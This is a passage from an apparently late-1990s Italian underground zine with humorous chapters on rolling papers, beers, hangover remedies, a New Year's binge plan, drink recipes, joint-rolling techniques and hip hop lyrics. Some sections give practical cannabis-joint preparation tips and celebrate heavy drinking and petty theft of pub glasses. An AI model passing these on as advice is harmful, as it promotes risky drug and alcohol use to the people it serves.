bevuti litri e litri. Ma vi rendete conto? Un alkolico con estratto di coca.
Un mito, un must. Pekkato che oggi non la facciano piu'. Incuriosito me ne
sono fatto portare un bicchiere al naturale. Colore verdastro, dolce, signori
e signori secondo me meglio del Jack Daniel's. Adesso e' iniziata la caccia a
una bottiglia vecchio "stampo" quella con l'estratto insomma. Piu' che altro
e' la curiosita'. Se nei vostri paesi avete un vecchio negozio di liquori
andateci a fare un salto.
Capitolo 6 - L'Angolo dei Consigli
Vi state chiedendo "qual'e' la migliore birra?" Vi state chiedendo "quali sono
le migliori cartine?" Vi state chiedendo..."che cazzo ne so io?" Siete
arrivati al capitolo giusto, infatti qui troverete i nostri consigli riguardo
numerosi argomenti rimanendo sempre in "topic" con il titolo di questa guida.
6.1 Le Cartine by EleSSaR
Molte volte sento gente che mi chiede <<Ma tu che cartine usi di solito?>> e
io rispondo: <<Beh, dipende...>>. E' molto probabile che quindi faccia una
copia di questa parte della rivista anche per loro :P .
Vediamo un po' quali sono i tipi di cartina piu' comuni e piu' usati e alla
fine vi svelero' un piccolo segreto per quando rimarrete senza cartine.
1) SMOKING
La Smoking e' una casa che produce, a mio parere, molte ottime cartine. Un
tipo di cartina facile da trovare e allo stesso tempo eccellente e' quello
Oro, reperibile in quasi tutti i tabacchini. Altrettanto reperibili sono le
Blu, che pero', rispetto alle precedenti, sono piu' larghe e quindi spesso e
volentieri andranno tagliate. Io uso abbastanza spesso le Smoking Oro, perche'
hanno una certa rigidita' che permette di rollare anche senza avere un piano
d'appoggio, e non hanno bisogno di essere tagliate.
Se riuscite a trovarle (non sono molto comuni) potete comprare anche le Eco o
le Green che hanno le stesse dimensioni rispettivamente delle Oro e Blu, ma
sono fatte in carta di canapa!!!! Quando posso io le acquisto sempre, sono un
must per gli appassionati. Unico, piccolo neo delle Smoking e' la colla che,
di tanto in tanto, fa cilecca lasciandovi con una canna aperta nella mano. Per
fortuna non e' un incidente cosi' comune.
2) RIZLA
Probabilmente una delle case legate agli accessori per fumatori piu' famosa in
tutto il mondo, tanto che Rizla e' quasi sinonimo di cartina. Le Rizla Blu
Lunghe sono con tutta probabilita' le cartine che incontrerete piu' spesso nei
tabacchini non ben forniti, quindi e' il caso che impariate a tirare su anche
con quelle. Sono piu' larghe delle Smoking e vanno secondo me tagliate nel
senso della larghezza ( circa 1/4 ) per evitare di fumare troppa carta. Sono
anche piu' sottili e cio' rende piu' difficile il rollaggio 'al volo'. La
Rizla produce anche una rolling machine che vi fa su le sigarette in
automatico... e' una bella storia, provatela! Basta inserire mista, filtro,
cartina, girare e tac! Una canna bella e rollata!
Esistono anche le Rizla rosse, ma lasciatele perdere... sono cosi' grosse che
pare di fumare un cartoncino.
3) ROLLS
Le Rolls sono le tipiche cartine 'al metro', contenute in una scatoletta dalla
quale si estrae la quantita' di cartina desiderata. Vanno bene per fare canne
lunghe quando si e' in tanti senza ricorrere al metodo del castello descritto
piu' avanti. Sceglietene un tipo di larghezza adatta (ad esempio quelle verdi
vanno bene).
4) LA CARTINA NON CARTINA
<<Cazzo, siamo senza cartine, senza chilum, senza bong! Come fumiamo?>>
Se fumate da un po', vi sara' senza dubbio capitata qualche volta una
situazione del genere. Ci sono piu' possibilita':
- Andare a comprare le cartine in un bar... di solito vi guardano MOLTO male
quando comprate cartine la sera tardi (in particolare se assieme comprate un
pacchetto di MS da 10... che figura da drogati quella volta... :)
- Andate in un bar e comprate un pacchetto di gomme da masticare di quelle di
tipo Brooklyn, ne mangiate una e SALVATE la carta argentata che la avvolge.
<<Non dovremo mica fumarci la carta argentata? Che schifo!>> Beh, quasi...
sappiate che la carta delle gomme e' formata da due strati: l'argento e uno
strato di carta bianca normale... il segreto sta nel separarli, ed e'
abbastanza semplice. Prendete la carta e appiattitela per bene, quindi
tenetela per un estremo con la parte argentata rivolta verso il basso e
parallela al terreno. Mettete sotto di essa l'accendino e accendetelo, facendo
attenzione che la fiamma NON TOCCHI LA CARTA: dovete soltanto riscardarla, non
bruciarla.
Eventualmente muovete un po' l'accendino per riscaldare bene uniformemente
tutta la carta. A questo punto noterete che la carta argentata ha gia'
iniziato a staccarsi e voi dovrete soltanto completare l'opera con le vostre
belle manine, separando completamente le due parti.
Ora avrete una cartina senza colla. A questo dovrete supplire con uno strato
abbondante di saliva (non sempre disponibile se avete gia' fumato parekkio :)
e fumare molto rapidamente la canna subito dopo che e' stata rollata.
6.2 La Birra by Dr. Slump
Poche sere fa chattando come al solito su IRC SMaster mi esce fuori con una
domanda che penso molti di voi si saranno fatti e cioe' "Slumpo secondo te
qual'e' la migliore birra?". Naturalmente a una domanda del genere non si puo'
dare una risposta certa e quindi in questa parte della guida cerchero' di
analizzare nel migliore dei modi vari tipi di birra. Il mio consiglio
naturalmente e' di assaggiarli tutti... qui di seguito trovate una sorta di
classifica stilata sentendo i pareri di alcuni compagni di sbornia...
- GUINNESS (+spina)= secondo il mio parere la birra in questione e' una delle
migliori, birra scura (diciamo quasi nera), abbastanza tostarella se presa
nel formato 0.4l (7.000). In un paio di pub me l'hanno servita con disegnato
nella schiuma un quadrifoglio e mi hanno spiegato che quando si prepara tale
birra (alla spina intendo) prima di essere servita al tavolo e' consigliabile
un certo periodo di "riposo". In altri pub che io definirei "la prox volta
che ci vengo ci porto una che conosco" servono tale birra allungata con
champagne (10.000) e devo dire che merita anche cosi' comunque il mio
consiglio e' di berla all'"originale"
- GALUOISES (+bottiglia)= secondo il parere di due miei amici e' questa la
migliore birra in circolazione, a differenza della precedente questa birra
viene servita alla bottiglia (con tutti i pub che ho girato solo una volta
l'ho trovata alla spina) e potrete trovarla rossa/bionda/scura (ambre'/.../..).
Quella piu' gettonata e' la Galuoises ambre' (biondo rossiccia), non e' molto
forte per quanto riguarda la gradazione e in bocca lascia un buon gusto. Qui
i prezzi medi salgono leggermente, si sta sulle 7.000 per una bottiglia
piccola (33cl.) e 12.000 per una grande (50cl.), ma vi assicuro che le vale
tutte.
- TRAPPE (spina/bottiglia)= questa birra non e' molto facile da trovare, se vi
capita di trovarla prendetela!
Si trova indifferentemente in bottiglia o alla spina, ma io vi consiglio di
provarla alla bottiglia in quanto, non so perche', e' nettamente superiore e
il suo gusto e' maggiormente accentuato (NDSlump: forse perche' quei figli di
puttana di gestori a volte la allungano?). In bocca non so perche' vi lascia
un retrogusto che ricorda molto da vicino la fragola, viene servita in
bicchieri stile coppa di champagne e se non ricordo male e' disponibile nella
sola versione 33cl. per la modica somma di 8.000 lire.
- MORTE SUBITE (+spina)= ecco questo e' il genere di birra che piace molto
alle ragazze le quali, quando tale birra e' disponibile, la preferiscono al
solito succo di frutta del cazzo. Scommetto che vi state chiedendo il perche'
vero? Semplice la birra in questione e' forse piu' conosciuta con il nome di
"birra alla pesca" semplicemente perche' sa di pesca. Molto dolce, ma buona,
anche se io la definirei birra da ragazze, perche' per i maschietti sarebbe
una birra della serie "me ne bevo una cisterna". Tale birra si aggira sulle
9.000 per miseri 33cl. Abbastanza cara quindi.
- BUD (bottiglia)= questa e' la classica birra americana, in America consumano
fiumi di Bud. Niente di eccezionale, niente di forte, ma va giu' molto bene
specie se accompagnata da qualcosa di mangereccio (con la classica grigliata
sarebbe il massimo). Vi ho mai raccontato di quando in uno dei miei viaggi in
America mi sono imbattutto in un posto dove regalavano Bud? Ah dimenticavo
anche della Bud abbiamo le varie versioni, la migliore e' la classica, anche
se la Ice non e' malvagia...
- TENNENT's [+spina] = secondo me questa e' una della birre piu' sputtanate
che esistono, infatti qui da noi si trova praticamente in tutti i pub da
quello piu' in a quello piu' scaciato. Delle varie versioni che esistono la
migliore e' la Tennent's Scotch Ale da 0.4 (7.000) che con i suoi 9
saccarometrici diventa una birra di tutto rispetto. Quando non c'e' niente di
meglio prendete questa. Nel 90% dei casi si trova alla spina.
- BASS [+spina] = come amano definirla i miei amici, acqua sporca di
rubinetto, di bello questa birra secondo il mio parere ha solo il bicchiere,
quindi prendetela solo nel caso nella vostra collezione manchi il bicchiere
della Bass (tutti fregate bicchieri ai pub giusto? Io penso di averne oltre
50 tutti diversi... guarda appendice) (7000 per una 0.4).
- DU DEMON [+bottiglia] = tralasciando la bella bottiglia (si frego anche
quelle...) questa birra dal nome accattivante non e' affatto male, abbastanza
forte, dal gusto intenso si lascia bere volentieri. Se non ricordo male e'
una rossa, che si aggira sui 9 saccarometrici.
- CAFFREY's [+spina] = questa birra mi inizia a piacere sempre di +.
Generalmente alla spina, questa birra disponibile scura o bionda ha una
caratteristica molto particolare, la schiuma. Infatti la schiuma di questa
birra e' molto densa e bianca e quando si prende la versione nera a molti
potrebbe ricordare un cappucino (dei lamer che conosco la chiamano Caffey's e
la spacciano come birra al caffe', tutto cio' deriva dal fatto che la scura e'
praticamente nera...). Per quanto riguarda il gusto la bionda si lascia bere
abbastanza facilmente, mentre la scura e' piuttosto amarognola (7000 per una
0.4).
- CORONA [bottiglia] = birra che almeno una volta nella vita abbiamo bevuto
tutti, rigorosamente in bottiglia e servita con una fetta di limone dentro la
corona la fa da padrona durante il periodo estivo e generalmente si accompagna
ai fiumi di vodka che si consumano nelle feste da spiaggia.
- CERES [bottiglia] = diciamo pure che anche questa birra e' particolarmente
sputtanata, tutto quello che posso consigliarvi e' di assaggiare anche la
ceres Red Erik, che a mio parere e' abbastanza buona e dolce.
La classica la trovate quasi rigorosamente in bottiglia, mentre per quanto
riguarda la Red Erik si trova generalmente alla spina.
- MORETTI [bottiglia] = per chiudere questa breve rassegna, volevo parlarvi
di una delle migliori, secondo me, birre italiane (chiedete ai vostri padri!).
Ideali per cene tra amici grazie al suo buon rapporto qualita'\prezzo
(1.100 una bottiglia da 66cl) e grande compagnia (per quanto mi riguarda)
delle ore passate davanti al monitor del picchio. Un Must.
Chiudo con la 12esima questa brevissima rassegna delle varie birre presenti
sul mercato, so che ce ne sono moltissime altre, io stesso ne ho provate
moltissime altre (Lucifer, Belzebu', 21 , Kinley's e chi piu' ne ha piu' ne
metta...) ma secondo me queste sono le birre sulle quali dovete puntare,
naturalmente ognuno ha la sua preferita questione di gusti.
6.3 Metodi post-sbronza by Se ve lo dico non ci credete (tratto da Maxim)
Tutti i grandi bevitori hanno avuto o hanno la loro ricetta preferita per
farsi passare la classica sbornia.
Bisogna vedere quale va meglio per voi, e' un fatto tutto individuale. Vediamo
i vari metodi:
Metodo Eltsin (cazzo se non lo sa lui non lo sa nessuno): bere una tazzina di
acqua bollente in cui avete strizzato mezzo limone e avete aggiunto un
cucchiaino di miele.
Metodo Liz Taylor (stiamo parlando di tutti grandi alkolizzati come vedete):
farsi una sauna o un bagno Turco.
Metodo Richard Burton (chi cazzo e'?): trangugiare due rossi di uovo sbattuti.
Metodo Reagan: prendere due aspirine e fare una buona dormita.
Metodo Veronelli: masticare tre spicchi d'aglio pestato grossolanamente nel
mortaio.
Metodo Vasco Rossi (forse il migliore, quello che vi porta diretti al coma
etilico): continuare a bere alkool, ma solo degli amari strong.
6.4 Consigli per un capodanno migliore by Dr. Slump
Uscita di BFi permettendo dovrei essere in tempo per darvi qualche consiglio
per il capodanno che ormai e' sempre piu' vicino. Direi che ci sono vari modi
per passare il capodanno: 1) quello da fidanzati (a me 3 sono bastati),
classica cena tra amici, discoteca, scopata finale (forse.) 2) quello da
single (spero di sopravvivere anche anche quest'anno) particolarmente fuori
3) quello tra amici. Il terzo non lo prendo in considerazione, per quanto
riguarda il primo vi auguro di scopare, mi soffermo sul secondo modo.
Allora rimediate un due tre buoni amici che la pensino come voi, che non hanno
la ragazza e che non hanno fantasia di passare capodanno con il solito gruppo.
Bene gia' siete a meta' dell'opera, appuntamento la mattina del 31 per fare
rifornimento. Comprate tutto quello che potete da bere: consiglio jack
daniel's, rhum, vodka, gin, cocacola, lemonsoda, spumantino. Piu' soldi avete
piu' comprate, tanto non andra' sprecato nulla. Se vi piace la Maria andate
dal vostro pusher di fiducia, ricordatevi anche qualche pacchetto di sigarette
e del tabacco sfuso. Bene ora le premesse ci sono. Siete pronti?
Andate a dormire fino alle 18 circa di sera, svegliatevi, la festa comincia.
Andate in qualche cantina di un qualche vostro amico o in qualche casa libera,
cucinatevi qualcosa, mangiate, ma soprattutto bevete. Se non avete fatto
errori dovreste essere belli che bevuti. Vi dovrebbe essere avanzato da bere.
Fatevi una bottiglia di Gin Lemon, una di Cubana, prendete le altre bottiglie
e buttate tutto dentro uno Zaino. Sono le 20.00 si parte. Direzione P.za del
Popolo. Sobri come siete troverete sicuramente qualcuno come voi (noi una
volta imbroccammo su un gruppo di 3 ragazze e un solo ragazzo). Offrite da
bere. E' mezzanotte. Siete fuori del tutto. Vi state divertendo da matti.
Dai cazzo che forse ci riscappa anche la scopata. Mmmmh e' dura sono le 6 del
mattino, che cazzo e' finito tutto quello che c'era da bere. Un paio di voi
gia' sono cotti che dormono in macchina. Dai cazzo un ultimo sforzo.
Cappuccino e cornetto non ve li toglie nessuno. Sono le 7.00 pian piano ci si
dirige verso quella che e' l'unica casa libera. Sono le 8 di mattina. Gia' mi
ci vedo a dormire a terra. Sveglia sono le 5 di pomeriggio del 1 gennaio 1999.
Il fegato a pezzi. Malditesta bestiale. Cazzo c'e' pure puzza di vomito. Non
so voi, ma io mi sono divertito. Ne portero' i segni per un paio di giorni, ma
ne e' valsa la pena.
Raga penso che questo sara' il modo in cui passero' questo capodanno.
Dovremmo essere in 4. Un paio di amici e un'amica. Niente disco. Niente cena.
Festa in strada. E se qualcuno di voi venisse a Roma a P.za del Popolo mi
faccia un fischio. Un bicchierino non si nega mai a nessuno.
Capitolo 7 - pIGpEN e le sue bevande
Questa sezione e' stata scritta interamente dall'amico pIGpEN. Che dire questo
ragazzo mi sconvolge ogni volta di piu'. Lascio a lui la parola e mi limito
ad impaginare il tutto. Da qui in poi e' pIGpEN che parla, i miei eventuali
commenti li trovate da parentesi.
Ringraziamento innanzitutto al mio cervello per non essere andato ancora in
buffer overflow ... questa breve partecipazione e' dedicata ai miei clone...
No bastardi! Non sarete mai come me :P (ndSlump: dai cazzo almeno mi ci voglio
avvicinare un poko).
7.1 BiBiTa da prendere di mattina by pIGpEN
thx to: ins4ne per avermi dato il colpo di genio con il suo gin con succo di
frutta.
Ingredienti:
1 Bicchiere di SAMBUCA Molinari all'Anice
1 Succo di frutta -- (gusto che preferite)
Suggerimenti:
E' una bibita dal buon gusto e senza dubbio piace pure alle ragazze
(alcolizzate).
7.2 pIG B0MB da prendere di mattina by pIGpEN
thx to: xxxx per avermi dato la voglia di distruggermi.
Ingredienti:
1 mocca di caffe'
1 bustina di te'
2 cucchiaini di cioccolato in polvere
3 cucchiaini di Tisana energetica al limone
1 compressa VitaSi' all'arancio
eventualmente aggiungerci zucchero o cannella.
Modalita':
Mettete la polvere di cioccolato insieme al caffe' e al contenuto di una
bustina di te'... tutto questo va nella mocca ragazzi... aspettate che il
pig-boom sia pronto, aggiungeteci adesso una compressa di VitaSi' e 3
cucchiaini di Tisana energetica al limone. La bibita ha un gusto piuttosto
tendente all'acido se non riuscite a buttarla giu' aggiungete dello zucchero..
Attenzione:
Non testata scientificamente -- credo di potermi "vantare" di essere stato
l'unico a berla.
7.3 pIG CLASSiC B0MB solo di mattina!!! By pIGpEN
Storia:
Mi trovavo in bar con un'amica... abbiamo litigato e cosi' mi ha lasciato solo
con la sua cocacola ed il mio caffe'...
Ingredienti:
1 caffe'
1 coca-cola
Modalita':
Mescolare e bere (fa meno schifo di quello che potete pensare)
7.4 Te' caldo con rhum by pIGpEN
(ndSlump: questo non ho capito bene quando devo berlo... al pomeriggio?)
Preparazione:
In ogni singolo bicchiere alto mettete 1 bicchierino e 1/2 di rhum, uguale
quantita' di te' nero molto concentrato e zucchero a piacere. Versate
l'acqua (che avrete fatto bollire con tre chiodi di garofano (pIG: credo che
vada bene pure la marijuana)) necessaria a riempire il bicchiere, 1 scorza
di limone a spirale e servite subito.
7.5 Caffe' in tazza by pIGpEN
(consigliato per 4 persone - o per un solo pIG)
Preparazione:
Preparate 6 tazze di caffe'. In una scodella mettete 1 cucchiaino o piu' di
zucchero per persona; unite i primi 4 cucchiaini di caffe' che escono dalla
caffettiera e sbattete bene. Suddividete la cremina nelle tazze, versate il
caffe' bollente e sulla superficie si formera' uno strato chiaro di
schiumetta (non preoccupatevi non e' sperma).
7.6 Eggnog dello zio ToM by pIGpEN
Ingredienti per 10 - 13 persone (dipende poi da voi):
3 uova
75 g di zucchero
5 cucchiai di bourbon whisky
5 cucchiai di brandy
1 cucchiaio di rhum
1/4 di litro di latte
200 g di panna
noce moscata
Preparazione:
Sbattere i tuorli d'uovo con la frusta finche' saranno leggeri e chiari, poi
sempre sbattendo unitevi lo zucchero poco alla volta. Mescolatevi il bourbon,
il brandy e il rhum e mettete il composto in frigorifero a gelare per qualke
ora. Al momento di servire toglietelo e unitevi il latte poi mescolatevi molto
delicatamente la panna montata e i bianchi d'uovo montati a neve. Servite
l'eggnog spolverizzato di noce moscata in tazzine da punch. (ndSlump: cazzo
questo sabato lo provo).
7.7 Grog by pIGpEN feat. LucasArts ;-)
ATTENZIONE!!! QUESTO E' L'ORIGINALE GROG! NON INVENTO CAZZATE! E' LO STESSO
UTILIZZATO IN MONKEY ISLAND!!!
Preparazione:
X 1 Persona: In ogni bicchiere possibilmente con portabicchiere di metallo
mettete un cucchiaio oppure un quadretto di zucchero, 1 cucchiaio di succo
di limone, 1 fetta di limone steccata a piacere con 1 chiodo di garofano e
1 bicchiere di rhum (pIG: CREDETEMI SPAKKA DI PIU' CON IL JACK DANIEL'S).
Riempite il bicchiere con acqua bollente e servite.
7.8 Punch al Caffe' by pIGpEN
Preparazione:
X 1 Persona: Nell'apposito bicchiere, possibilmente con un portabicchiere
metallico, ben caldo, mettete 2-3 zollette di zucchero, 1 scorzetta di
arancia o di limone, 1 tazzina di caffe' ristretto bollente e 1 cucchiaio di
brandy o di grappa. Mescolate e bevete subito.
Capitolo 8 - EleSSaR e l'origami.
Che dire un capitolo tutto per se questo ragazzo proprio se lo meritava. Senza
ombra di dubbio uno dei piu' attivi collaboratori di questa che ormai sta
diventando un'opera epica. Non mi rimane altro da fare che lasciarvi nelle sue
mani. Buona fum... ehm lettura ;-)
8.1 Introduzione e precisazioni by EleSSaR
Ciriciao gente, rieccoci qui con il vostro EleSSaR pronto a propinarvi ancora
una volta un sacco di cose piu' o meno dannose per la vostra salute psichica
e fisica. Come al solito sono un vile e non mi assumo nessuna responsabilita'
per tutto cio' che vi potra' accadere (o meglio vi accadra' sicuramente :)
facendo uso delle ricettine qui citate. Prima di continuare vorrei pero' dirvi
alcune cose: Mi e' capitato non di rado su IRC che qualcuno mi contatti
dicendomi 'ehi ma tu sei quello di s0ftpj?' o cose simili, e via alle domande
su hacking, green e cose simili. Vorrei quindi far capire bene alcune cose: io
non sono un membro effettivo dei s0ftpr0ject poiche' non ho le conoscenze
necessarie nell'ambito informatico per ambire a tale carica. Non sono un
hacker, ne' un phreak(er?), ne' un cracker, niente di tutto cio', ma non mi
considero neppure un lamer :) Mi considero un utente piuttosto esperto e se
avete domande su Linux, Windows o cose simili sparatele pure... ma non
venitemi fuori con cose tipo 'come ottengo una shell sul server xxx', 'come mi
collego gratis a internet', ecc. ecc. Magari io so qualcosa di queste, ma le
mie conoscenze sono di lunga al di sotto degli altri membri s0ftpj. Morale:
non rompetemi i coglioni con domande al di fuori del mio campo, ok? Spero di
essere stato chiaro.
8.2 L' Alabarda Spaziale by EleSSaR
Una volta che siete dei virtuosi nel rollaggio di carciofi l'alabarda spaziale
non sara' un problema per voi.
Essa infatti non e' null'altro che un'armoniosa unione di due dei suddetti
carciofi su un unico filtrone incantato che vi permettera' di consumarli in
contemporanea.
Modalita' di preparazione:
Prendete un cartoncino di discoteca di quelli abbastanza grandi,
possibilimente lungo almeno una ventina di centimetri a mio avviso. Se non lo
trovate compratevi un cartoncino bristol di quelli grandi (la parte che avanza
potete sempre usarla per fare filtri nelle canne :) e tagliatene un pezzo.
Calcolate che dovete fare una specie di tubetto analogo a quello del carciofo,
sebbene piu' lungo. Ora, dovete in pratica rollare due carciofi, uno a
ciascuna estremita' del tubetto. La mia raccomandazione e' di mantenere la
quantita' di erba dei carciofi invariata rispetto ad uno normale, ma di
diminuire il tabacco: in questa maniera avrete due carciofi piu' piccoli, ma
con lo stesso potere distruttivo. A questo proposito desidero aprire una
parentesi: a mio parere nei carciofi la quantita' d'erba ideale e' attorno al
60% della mista, mentre nell'alabarda spaziale puo' arrivare all'80%.
Sconsiglio vivamente l'utilizzo della sostanza pura in qualsiasi mezzo tranne
il bong puro o il chilum (sempreche' piccolo) puro, poiche' una gran parte
viene sprecata. Ricordate: il purino va bene solo nei mezzi a combustione
rapida. Riprendiamo il nostro dire.
Come avrete capito avrete bisogno di una quantita' d'erba notevole, pari circa
a quella di due carciofi, ma non temete, ne varra' la pena. L'alabarda
spaziale e' infatti particolarmente indicata per le fumate di gruppo, quando
si e' in
tanti, anche piu' di 15. Proseguiamo con la preparazione. Ora ci sono
due scuole di pensiero: la scuola del baffo e la scuola del secondo filtro.
Iniziamo con quella del baffo, piu' semplice.
Incidete il centro del filtro-tubo con due tagli non molto lunghi,
perpendicolari e incidenti fra di loro, quindi ripiegate verso dentro o verso
fuori a piacere (meglio il secondo pero') i quattro lembi risultanti,
eventualmente strappateli se ci riuscite senza compromettere l'intera
struttura. L'area della superficie risultante dovrebbe essere circa uguale o
poco superiore a quella di base del cilindro-filtro stesso. A questo punto
portate direttamente la bocca a tale apertura per tirare: la vostra alabarda
e' pronta. La scuola del secondo filtro prevede appunto l'inserimento di un
secondo filtro all'interno dell'apertura preparata per la bocca. In questo
caso dovrete avere piu' cura delle dimensioni del foro, che dovra' adattarsi
al diametro del nuovo tubo, e sigillare il tutto per bene, meglio se con
nastro adesivo. *RICORDATEVI CHE LA MANO CHE REGGERA' L'ALABARDA DOVRA' TENERE
SOLLEVATO IL TUBO CON I DUE CARCIOFI, NON QUELLO AGGIUNTO SUCCESSIVAMENTE!*.
Una volta dopo aver confezionato un'alabarda magnifica infatti ci siamo fatti
ingannare dalla sua eccessiva robustezza apparente e... il tubo ad un certo
punto si e' piegato facendo cadere la bronza sul vestito di uno sfortunato :).
Controllate bene che non ci siano perdite d'aria. Se fumate d'estate in
qualche campo aperto fate davvero molta attenzione a spegnere bene quelle
bronzone perche' stanno un bel po' a farlo da sole altrimenti :) I piromani e
gli incendi boschivi suxano :P
8.3 La bandiera by EleSSaR
Nulla di cosi' spettacolare o distruttivo come il precedente, la bandiera e'
null'altro se non un mezzo per fumare una quantita' di carta nettamente
inferiore a quanta ne fumereste rollando una canna con le normali tecniche. Se
non vi piace questo mio stile ampolloso e pieno di ripetizioni e frasi
superflue, che non hanno scopo alcuno e tendono soltanto a deviare e sviare
l'attenzione del lettore, nonche' allungano consistevolmente il testo senza
esprimere qualsivoglia concetto nuovo, smettete di leggere e andate a fare un
search su altavista :) Orche' vi accingete a rollare il vostro bel cannone
usando le vostre non desuete abilita' manuali, abbiate l'accortezza di non
porre la cartina nella medesima maniera abituale, bensi' rovesciata sia
dall'alto in basso che in senso laterale:
Es.
Cartina normale
|-----------------|
|-----------------| <-- Colla (lato collato verso di voi)
| |
|-----------------|
Cartina x bandiera
|-----------------|
| |
|-----------------| <-- Colla (lato collato dall'altra parte)
|-----------------|
Rollate come di consueto. Normalmente verreste ad attaccare la parte collata
al di sopra della cartina senza far avanzare alcunche': quindi per una certa
qual parte della canna non appena preparata avreste un doppio strato di carta.
Invece con questa tecnica in pratica incollerete la colla sulla carta in
maniera da farne avanzare un pezzo, tutto quello inutile perche' usato solo ai
fini del rollaggio. A quel punto avete due alternative: bagnate con la vostra
lingua inumidita la carta in eccesso alla base, vicino alla canna, e quindi
strappatela con delicatezza alquanta; oppure, ma cio' richiede un'abilita'
non di poco superiore, tenete la canna verticale con il filtro verso l'alto,
*date fuoco* alla cartina in eccesso dalla parte del filtro, come questa
incomincia bruciare *fate ruotare* la canna in orizzontale cosicche' il fuoco
si propaghi al centro e poi *ruotatela ancora* in verticale dall'altra parte:
a questo punto il fuoco dovrebbe aver gia' bruciato la carta alla base del
filtro e al centro, ed esserci ancora solo dall'altra estremita' della canna,
quella dove va accesa: sfruttate proprio il fuoco ancora presente per
accendere direttamente la canna (dovete inclinarla leggermente come meglio vi
troviate).
Posso comprendere che alcune di queste tecniche possano risultare complesse,
soprattutto per una qual certa difficolta' di esposizione chiara senza
possibilita' di usare grafica piu' complessa di qualche disegno ASCII. Se
avete dubbi, cari i miei lettori, sentitevi liberi di contattarmi alla mia
e-mail <elessar@thepentagon.com>. Se non rispondo subito non agitatevi e non
rispeditemi niente se non sono passate almeno 3 settimane. No binari, no txt
> 50k.
8.4 The Castles by EleSSaR
Non ho potuto trattenermi ulteriormente dalle tendenze anglofone che ormai
attanagliano la nostra lingua in una morsa di ghiaccio, portandoci
inesorabilmente ad usare termini che potrebbero trovare tranquillamente un
corrispettivo pure nel nostro amato idioma italico. Volete un esempio che vi
faccia intendere cio' di cui io stia parlando nel qui presente istante?
Mettiamo caso 'browser'. Perche' dire browser quando esiste la parola italiana
'sfogliatore'? Oppure crack: esiste 'rompere'. E s0ftpr0ject?? Che significa
s0ftpr0ject?? Tutta questa moda di parlare inglese portera' ad una rottura con
il nostro italiano. Fosse per me lo chiamerei: IL PROGETTO PIU' MORBIDO CHE CI
SIA. Abbreviato PM. O no? Ai posteri l'ardua sentenza. Comunque pensateci, non
usate l'inglese se non quando e' davvero davvero davvero necessario. Kick?
Calcio! Ban? Bandire! Op? [omissis]! Hacking? Falsificazione! Pensate,
ragazzi, pensate, alla pluralita' lessicale che offre l'italiano, che non e'
propria di tutte le lingue! Proseguiamo con la concisa, ma esauriente,
descrizione della modalita' di preparazione di un castello. Innanzitutto che
cos'e' un castello? Dicasi castello l'unione di una o piu' cartine ovvero
l'utilizzo di un'unica cartina di particolare lunghezza (Rolls) atta a
perpetrare l'intendimento della creazione di una canna lunga piu' di una
normale. Per quanto riguarda il castello che si verra' a formare con le Rolls
nulla e' da dire, tranne il fatto che val bene notare convenga far bene
attenzione, nella fase di rollaggio vero e proprio, quella nella quale fate
scorrere la cartina con la mista fra l'indice e il pollice per assestare la
mista per intenderci, dovete far attenzione a far assestare bene la mista su
tutta la cartina, anche al centro e vicino al filtro, non solo sugli estremi.
Quando invece non disponete di R0LLz, ma solo di Long Blue Rizlas dovete
procedere nella maniera sottoindicata:
B
/-|
/---| In pratica dovete prendere due cartine: una
A/-----| <-- Colla la mantenete intatta, una la tagliate con un
|---|-| taglio parallelo alla larghezza, cosi' che
| | | la lunghezza sia pari alla larghezza (in
| | | parole povere deve risultare un quadrato di
| | | lato uguale alla larghezza originale), quindi
| | | prendete la parte collata del quadrato e la
| | | incollate sulla larghezza della cartina intera.
|---|-| Nota: questa estremita' sara' quella terminale
^ del castello, dove andra' acceso, per cui
| attaccatela a dx o sx a seconda dei vostri
Colla usi di rollaggio.
Una volta incollata, tagliate la cartina aggiunta in diagonale: i due estremi
del segmento sono (A) il vertice del quadrato che e' attaccato alla cartina
alla parte non gommata di quella originale e (B) l'estremo gommato del
quadrato che non e' incollato alla cartina originale.
Dedicated to my friend La Tromba.
Capitolo 9 - raDIOcane
Grande titolo per grande capitolo. In questo ennesimo capito troverete alcuni
testi di canzoni particolarmente significativi. Sono tutti testi che
provengono dalla scena hip hop italiana, quella che io maggiormente seguo.
Beh mi sembra che ci sia poko da aggiungere, lascio la parola alla strada.
9.1 Sbroccatamente si vive la notte - Flaminio Maphia
Vivendo una vita come mano lesta/c'e' Rude che te butta giu' un po' di merda
gansta/ma questa dove si va', devo svolta'/e la gente mi dice vattene a
lavora'/ma che cazzo devo fa' se lavoro non ci sta'/per dio adesso sto a
sbrocca'/Stanotte stai attento che quanno vojo/e 'ndo te cojo te cojo/se passi
in brutte zone c'e' lo spoglio/rischi prima la grana poi la moto e la puttana/
sta in campana c'e' chi rolla chi va a nanna/chi ruba con la zanna chi spaccia
condanna/rompendo a qualche auto la mia tanto e' un panda/che dramma chi si fa
lo stereo e chi li fa me scanna/all'improvviso una sirena si sente un'agonia/
santa maria mamma mia e' arrivata la polizia/scappa via cosi' si vive
svoltando e scappando/tra una sgnocchera' di birra io canto/perche' semo
regazzi della strada de citta'/e se non ci credi fottiti questa e' realta'/
Sbroccatamente si vive la notte (x4)/Notte romana un po' ribelle/siamo fuori
dalle nostre celle sempre a mille/con effetti stupefacenti sotto la mia/io non
racconto balle ma dico cose vere/realta' gia' vissute che tengo dentro ar
core/sopra lo scalino di cemento/Vivo nella notte com'e' furtivo er vento/da
dentro il mio lamento si cosparge lento/nelle starde della capitale mi assale
la pazzia mentale/e si risveglia in me la parte criminale/in missione pronto
per partire/come in un incontro pronto per colpire/destro sinistro sinistro
destro/te schiaccio come jordan fa ar canestro/e' accaduto l'imprevisto non
previsto/bevuto dalle guardie ma questo non fa testo/sto qui perche' so guscia
e spaccio rime/solo a mezze piotte er ph sbroccatamente vive la notte!/
Sbroccatamente si vive la notte (x4)/Cappello di lana e sul naso occhiali
scuri/nel mio ghetto trinko smok e piscio sopra i muri/col fiato a pezzi dopo
fughe da asma/per i fottuti cops io sono il fantasma il mio palcoscenico e' la
fottuta strada/giu' le mani la mia zona e' proprieta' privata/la notte e'
fredda la notte e' buia/sbrocchi di notte per schiacciare la noia/la fame che
ti assale sale su fredda assasina/gelida e tagliente tipo lama di
ghigliottina/e allora bombe su bombe come medicina/bocce da 40 a mo' di
aspirina/sempre in sordina qualcuno di pedina/dalla sera alla mattina cerco
carne o selvaggina/sempre in tasca la tronchesina/per aprire qualche cantina
ma come dicono in Tv mi raccomando non lo fate/troppa gente come noi e' dietro
le grate/Sbroccatamente si vive la notte (x4)
9.2 La Porra - Sangue Misto
